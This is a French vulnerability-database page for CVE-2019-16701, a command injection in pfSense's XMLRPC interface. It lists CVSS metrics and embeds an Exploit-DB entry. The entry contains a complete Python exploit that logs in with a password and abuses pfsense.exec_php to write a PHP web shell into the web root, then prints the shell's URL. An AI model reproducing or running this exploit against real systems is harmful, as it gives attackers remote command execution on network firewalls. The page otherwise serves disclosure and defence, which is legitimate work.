CVE-2019-16701 : Détail

CVE-2019-16701

8.8
/
Haute
OS Command Injection
A03-Injection
15.51%V3
Network
2019-09-25
13h45 +00:00
2019-09-25
13h45 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

pfSense through 2.3.4 through 2.4.4-p3 allows Remote Code Injection via a methodCall XML document with a pfsense.exec_php call containing shell metacharacters in a parameter value.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 47413

Date de publication : 2019-09-23 22h00 +00:00
Auteur : Nassim Asrir
EDB Vérifié : No

# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection # Date: 23/09/2018 # Author: Nassim Asrir # Vendor Homepage: https://www.pfsense.org/ # Contact: [email protected] | https://www.linkedin.com/in/nassim-asrir-b73a57122/ # CVE: CVE-2019-16701 # Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3 ###################################################################################################### 1 : About Pfsense: ================== pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more. 2 : Technical Analysis: ======================= The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands. XMLRPC methods: pfsense.exec_shell pfsense.exec_php pfsense.filter_configure pfsense.interfaces_carp_configure pfsense.backup_config_section pfsense.restore_config_section pfsense.merge_config_section pfsense.merge_installedpackages_section_xmlrpc pfsense.host_firmware_version pfsense.reboot pfsense.get_notices system.listMethods system.methodHelp system.methodSignature As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php. 2 : Static Analysis: ==================== In the static analysis we will analysis the xmlrpc.php file. Line (73 - 82) This code check if the user have enough privileges. $user_entry = getUserEntry($username); /* * admin (uid = 0) is allowed * or regular user with necessary privilege */ if (isset($user_entry['uid']) && $user_entry['uid'] != '0' && !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) { log_auth("webConfigurator authentication error for '" . $username . "' from " . $this->remote_addr . " not enough privileges"); Line (137 - 146) This part of code is the interest for us. As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code). public function exec_php($code) { $this->auth(); eval($code); if ($toreturn) { return $toreturn; } return true; } Line (155 - 160) In this part of code also we have a check for auth then the execution for ($code) public function exec_shell($code) { $this->auth(); mwexec($code); return true; } 3 - Exploit: ============ #!/usr/bin/env python import argparse import requests import urllib2 import time import sys import string import random parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1") parser.add_argument("--password", help = "pfsense Password") args = parser.parse_args() rhost = args.rhost password = args.password print "" print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection" print "" print "[+] Author: Nassim Asrir" print "" command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.host_firmware_version</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() print "[+] Checking Login Creds" if "Authentication failed" in page: print "[-] Wrong password :(" sys.exit(0) else: random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)]) print "[+] logged in successfully :)" print "[+] Generating random file "+random+".php" print "[+] Sending the exploit ....." command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.exec_php</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() final = rhost+"/"+str(random)+".php" check = urllib2.urlopen(final) print "[+] Checking ....." if check.getcode() == 200: print "[+] Yeah! You got your shell: " + final+"?cmd=id" else: print "[+] Sorry :( Shell not found check the path"

Products Mentioned

Configuraton 0

Netgate>>Pfsense >> Version From (including) 2.3.4 To (excluding) 2.4.4

Netgate>>Pfsense >> Version 2.4.4

Netgate>>Pfsense >> Version 2.4.4

Netgate>>Pfsense >> Version 2.4.4

Netgate>>Pfsense >> Version 2.4.4

Références